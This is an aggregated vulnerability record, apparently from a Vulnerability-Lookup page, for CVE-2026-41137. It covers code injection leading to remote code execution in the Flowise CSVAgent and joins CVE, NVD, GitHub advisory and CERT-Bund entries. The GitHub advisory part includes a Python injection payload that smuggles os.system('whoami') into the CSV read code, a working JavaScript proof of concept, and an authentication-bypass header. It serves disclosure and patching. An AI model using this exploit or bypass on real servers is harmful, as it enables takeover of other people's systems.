Vulnerability-Lookup

CVE-2026-41137 (GCVE-0-2026-41137)

Vulnerability from cvelistv5 – Published: 2026-04-23 19:10 – Updated: 2026-04-23 20:20

Title

Flowise: Code Injection in CSVAgent leads to Authenticated RCE

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide a command injection payload that will get interpolated and executed by the server. This vulnerability is fixed in 3.1.0.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-23 20:20 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7838 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM

Impacted products

2 products

Vendor	Product	Version	CPE status
FlowiseAI	Flowise	Affected: < 3.1.0	guessed
FlowiseAI	flowise-components	Affected: < 3.1.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-41137

Vulnerability from fkie_nvd - Published: 2026-04-23 20:16 - Updated: 2026-10-26 22:10

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

JSON

To clipboard

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      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-41137",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-23T20:20:09.323659Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-23T20:16:14.257",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-9WC7-MJ3F-74XV

Vulnerability from github – Published: 2026-04-16 21:44 – Updated: 2026-04-24 20:44

Summary

Flowise: Code Injection in CSVAgent leads to Authenticated RCE

Details

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts. customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code). An authenticated attacker can issue the following chain of requests:

Create a new chat flow by sending a POST request to /api/v1/chatflows. This will return the chatflowId in the response.
Send a POST request to /api/v1/prediction/[CHATFLOWID] to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
Optionally: send a DELETE request to /api/v1/chatflows to cleanup and delete the chat flow.

Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE_USERNAME and FLOWISE_PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.

PoC

Here's the PoC code:

const PORT = 3000;
const FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;
const PREDICTION_URL = '/api/v1/prediction';
const CHATFLOWS_URL = '/api/v1/chatflows';

const flowData = JSON.parse("{\"nodes\":[{\"id\":\"csvAgent_0\",\"position\":{\"x\":681,\"y\":212},\"type\":\"customNode\",\"data\":{\"label\":\"CSV Agent\",\"name\":\"csvAgent\",\"version\":3,\"type\":\"AgentExecutor\",\"category\":\"Agents\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\",\"description\":\"Agent used to answer queries on CSV data\",\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"inputs\":{\"csvFile\":\"\",\"model\":\"{{openAI_0.data.instance}}\",\"systemMessagePrompt\":\"\",\"inputModeration\":\"\",\"customReadCSV\":\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\",\"inputAnchors\":[{\"label\":\"Language Model\",\"name\":\"model\",\"type\":\"BaseLanguageModel\",\"id\":\"csvAgent_0-input-model-BaseLanguageModel\"},{\"label\":\"Input Moderation\",\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"name\":\"inputModeration\",\"type\":\"Moderation\",\"optional\":true,\"list\":true,\"id\":\"csvAgent_0-input-inputModeration-Moderation\"}],\"inputParams\":[{\"label\":\"Csv File\",\"name\":\"csvFile\",\"type\":\"file\",\"fileType\":\".csv\",\"id\":\"csvAgent_0-input-csvFile-file\"},{\"label\":\"System Message\",\"name\":\"systemMessagePrompt\",\"type\":\"string\",\"rows\":4,\"additionalParams\":true,\"optional\":true,\"placeholder\":\"I want you to act as a document that I am having a conversation with. Your name is \\\"AI Assistant\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\"Hmm, I am not sure.\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\",\"id\":\"csvAgent_0-input-systemMessagePrompt-string\"},{\"label\":\"Custom Pandas Read_CSV Code\",\"description\":\"Custom Pandas <a target=\\\"_blank\\\" href=\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\">read_csv</a> function. Takes in an input: \\\"csv_data\\\"\",\"name\":\"customReadCSV\",\"default\":\"read_csv(csv_data)\",\"type\":\"code\",\"optional\":true,\"additionalParams\":true,\"id\":\"csvAgent_0-input-customReadCSV-code\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\",\"name\":\"csvAgent\",\"label\":\"AgentExecutor\",\"description\":\"Agent used to answer queries on CSV data\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"id\":\"csvAgent_0\",\"selected\":false},\"width\":300,\"height\":464,\"selected\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":681,\"y\":212}},{\"id\":\"openAI_0\",\"position\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"type\":\"customNode\",\"data\":{\"loadMethods\":{},\"label\":\"OpenAI\",\"name\":\"openAI\",\"version\":4,\"type\":\"OpenAI\",\"icon\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\",\"category\":\"LLMs\",\"description\":\"Wrapper around OpenAI large language models\",\"baseClasses\":[\"OpenAI\",\"BaseLLM\",\"BaseLanguageModel\",\"Runnable\"],\"credential\":\"\",\"inputs\":{\"cache\":\"\",\"modelName\":\"gpt-3.5-turbo-instruct\",\"temperature\":0.7,\"maxTokens\":\"\",\"topP\":\"\",\"bestOf\":\"\",\"frequencyPenalty\":\"\",\"presencePenalty\":\"\",\"batchSize\":\"\",\"timeout\":\"\",\"basepath\":\"\",\"baseOptions\":\"\"},\"filePath\":\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\",\"inputAnchors\":[{\"label\":\"Cache\",\"name\":\"cache\",\"type\":\"BaseCache\",\"optional\":true,\"id\":\"openAI_0-input-cache-BaseCache\"}],\"inputParams\":[{\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\",\"credentialNames\":[\"openAIApi\"],\"id\":\"openAI_0-input-credential-credential\"},{\"label\":\"Model Name\",\"name\":\"modelName\",\"type\":\"asyncOptions\",\"loadMethod\":\"listModels\",\"default\":\"gpt-3.5-turbo-instruct\",\"id\":\"openAI_0-input-modelName-asyncOptions\"},{\"label\":\"Temperature\",\"name\":\"temperature\",\"type\":\"number\",\"step\":0.1,\"default\":0.7,\"optional\":true,\"id\":\"openAI_0-input-temperature-number\"},{\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-maxTokens-number\"},{\"label\":\"Top Probability\",\"name\":\"topP\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-topP-number\"},{\"label\":\"Best Of\",\"name\":\"bestOf\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-bestOf-number\"},{\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-frequencyPenalty-number\"},{\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"type\":\"number\",\"step\":0.1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-presencePenalty-number\"},{\"label\":\"Batch Size\",\"name\":\"batchSize\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-batchSize-number\"},{\"label\":\"Timeout\",\"name\":\"timeout\",\"type\":\"number\",\"step\":1,\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-timeout-number\"},{\"label\":\"BasePath\",\"name\":\"basepath\",\"type\":\"string\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-basepath-string\"},{\"label\":\"BaseOptions\",\"name\":\"baseOptions\",\"type\":\"json\",\"optional\":true,\"additionalParams\":true,\"id\":\"openAI_0-input-baseOptions-json\"}],\"outputs\":{},\"outputAnchors\":[{\"id\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"name\":\"openAI\",\"label\":\"OpenAI\",\"description\":\"Wrapper around OpenAI large language models\",\"type\":\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\"}],\"id\":\"openAI_0\",\"selected\":false},\"width\":300,\"height\":574,\"selected\":false,\"positionAbsolute\":{\"x\":238.83389711655053,\"y\":233.09962591816395},\"dragging\":false}],\"edges\":[{\"source\":\"openAI_0\",\"sourceHandle\":\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\",\"target\":\"csvAgent_0\",\"targetHandle\":\"csvAgent_0-input-model-BaseLanguageModel\",\"type\":\"buttonedge\",\"id\":\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\"}],\"viewport\":{\"x\":73.92828909845196,\"y\":-4.475777844396191,\"zoom\":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    },
    body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {
    method: "DELETE",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    }
});

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:44:15Z",
    "nvd_published_at": "2026-04-23T20:16:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({\u0027foo\u0027: [\u0027bar!\u0027]});import os;os.system(\u0027whoami\u0027)` that will get interpolated and executed by the server.\n\n### Details\nThe code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]).\n`customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`.\nAn authenticated attacker can issue the following chain of requests:\n\n1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response.\n2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.\n3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.\n\nSince `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren\u0027t set, it\u0027s sufficient to provide the `\"x-request-from\": \"internal\"` header to bypass authentication.\n\n### PoC\nHere\u0027s the PoC code:\n```\nconst PORT = 3000;\nconst FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;\nconst PREDICTION_URL = \u0027/api/v1/prediction\u0027;\nconst CHATFLOWS_URL = \u0027/api/v1/chatflows\u0027;\n\nconst flowData = JSON.parse(\"{\\\"nodes\\\":[{\\\"id\\\":\\\"csvAgent_0\\\",\\\"position\\\":{\\\"x\\\":681,\\\"y\\\":212},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"label\\\":\\\"CSV Agent\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"version\\\":3,\\\"type\\\":\\\"AgentExecutor\\\",\\\"category\\\":\\\"Agents\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"inputs\\\":{\\\"csvFile\\\":\\\"\\\",\\\"model\\\":\\\"{{openAI_0.data.instance}}\\\",\\\"systemMessagePrompt\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"customReadCSV\\\":\\\"DataFrame({\u0027foo\u0027: [\u0027bar!\u0027]});import os;os.system(\u0027whoami\u0027);\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Language Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseLanguageModel\\\",\\\"id\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\"},{\\\"label\\\":\\\"Input Moderation\\\",\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"name\\\":\\\"inputModeration\\\",\\\"type\\\":\\\"Moderation\\\",\\\"optional\\\":true,\\\"list\\\":true,\\\"id\\\":\\\"csvAgent_0-input-inputModeration-Moderation\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Csv File\\\",\\\"name\\\":\\\"csvFile\\\",\\\"type\\\":\\\"file\\\",\\\"fileType\\\":\\\".csv\\\",\\\"id\\\":\\\"csvAgent_0-input-csvFile-file\\\"},{\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessagePrompt\\\",\\\"type\\\":\\\"string\\\",\\\"rows\\\":4,\\\"additionalParams\\\":true,\\\"optional\\\":true,\\\"placeholder\\\":\\\"I want you to act as a document that I am having a conversation with. Your name is \\\\\\\"AI Assistant\\\\\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\\\\\"Hmm, I am not sure.\\\\\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\\\",\\\"id\\\":\\\"csvAgent_0-input-systemMessagePrompt-string\\\"},{\\\"label\\\":\\\"Custom Pandas Read_CSV Code\\\",\\\"description\\\":\\\"Custom Pandas \u003ca target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\\\\\"\u003eread_csv\u003c/a\u003e function. Takes in an input: \\\\\\\"csv_data\\\\\\\"\\\",\\\"name\\\":\\\"customReadCSV\\\",\\\"default\\\":\\\"read_csv(csv_data)\\\",\\\"type\\\":\\\"code\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"csvAgent_0-input-customReadCSV-code\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"id\\\":\\\"csvAgent_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":464,\\\"selected\\\":true,\\\"dragging\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":681,\\\"y\\\":212}},{\\\"id\\\":\\\"openAI_0\\\",\\\"position\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"loadMethods\\\":{},\\\"label\\\":\\\"OpenAI\\\",\\\"name\\\":\\\"openAI\\\",\\\"version\\\":4,\\\"type\\\":\\\"OpenAI\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\\\",\\\"category\\\":\\\"LLMs\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"baseClasses\\\":[\\\"OpenAI\\\",\\\"BaseLLM\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"credential\\\":\\\"\\\",\\\"inputs\\\":{\\\"cache\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"temperature\\\":0.7,\\\"maxTokens\\\":\\\"\\\",\\\"topP\\\":\\\"\\\",\\\"bestOf\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"batchSize\\\":\\\"\\\",\\\"timeout\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"type\\\":\\\"BaseCache\\\",\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-cache-BaseCache\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\",\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"id\\\":\\\"openAI_0-input-credential-credential\\\"},{\\\"label\\\":\\\"Model Name\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"default\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"id\\\":\\\"openAI_0-input-modelName-asyncOptions\\\"},{\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"default\\\":0.7,\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-temperature-number\\\"},{\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-maxTokens-number\\\"},{\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-topP-number\\\"},{\\\"label\\\":\\\"Best Of\\\",\\\"name\\\":\\\"bestOf\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-bestOf-number\\\"},{\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-frequencyPenalty-number\\\"},{\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-presencePenalty-number\\\"},{\\\"label\\\":\\\"Batch Size\\\",\\\"name\\\":\\\"batchSize\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-batchSize-number\\\"},{\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-timeout-number\\\"},{\\\"label\\\":\\\"BasePath\\\",\\\"name\\\":\\\"basepath\\\",\\\"type\\\":\\\"string\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-basepath-string\\\"},{\\\"label\\\":\\\"BaseOptions\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"type\\\":\\\"json\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-baseOptions-json\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"name\\\":\\\"openAI\\\",\\\"label\\\":\\\"OpenAI\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"type\\\":\\\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\\\"}],\\\"id\\\":\\\"openAI_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":574,\\\"selected\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"dragging\\\":false}],\\\"edges\\\":[{\\\"source\\\":\\\"openAI_0\\\",\\\"sourceHandle\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"csvAgent_0\\\",\\\"targetHandle\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\",\\\"type\\\":\\\"buttonedge\\\",\\\"id\\\":\\\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\\\"}],\\\"viewport\\\":{\\\"x\\\":73.92828909845196,\\\"y\\\":-4.475777844396191,\\\"zoom\\\":0.7371346086455504}}\");\nconst payload = {\"name\":\"CSV PWN\",\"deployed\":false,\"isPublic\":false,\"flowData\":JSON.stringify(flowData),\"type\":\"CHATFLOW\"};\n\n// Create chatflow.\nlet res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": \"Bearer \u003cyour-api-key\u003e\"\n        //Alternative: \"x-request-from\": \"internal\"\n    },\n    body: JSON.stringify(payload)\n});\n\nlet resJson = await res.json();\nlet chatflowId = resJson?.id;\n\n// Trigger vuln.\nawait fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {\n    method: \"POST\",\n    headers: {\n        \"Content-Type\": \"application/json\"\n    },\n    body: JSON.stringify({\"question\": \"whoami?\"})\n});\n\n// Cleanup.\nawait fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {\n    method: \"DELETE\",\n    headers: {\n        \"Content-Type\": \"application/json\",\n        \"Authorization\": \"Bearer \u003cyour-api-key\u003e\"\n        //Alternative: \"x-request-from\": \"internal\"\n    }\n});\n```\n\n### Impact\nThis results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.",
  "id": "GHSA-9wc7-mj3f-74xv",
  "modified": "2026-04-24T20:44:06Z",
  "published": "2026-04-16T21:44:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41137"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Code Injection in CSVAgent leads to Authenticated RCE"
}

WID-SEC-W-2026-1145

Vulnerability from csaf_certbund - Published: 2026-04-15 22:00 - Updated: 2026-05-11 22:00

Summary

Flowise: Mehrere Schwachstellen

Severity

Hoch

Scope

19 vulnerabilities in this advisory, including CVE-2026-41137.

CVE-2026-41137

Known affected: 1 product

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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-41137 (GCVE-0-2026-41137)

FKIE_CVE-2026-41137

GHSA-9WC7-MJ3F-74XV

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Details

PoC

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WID-SEC-W-2026-1145

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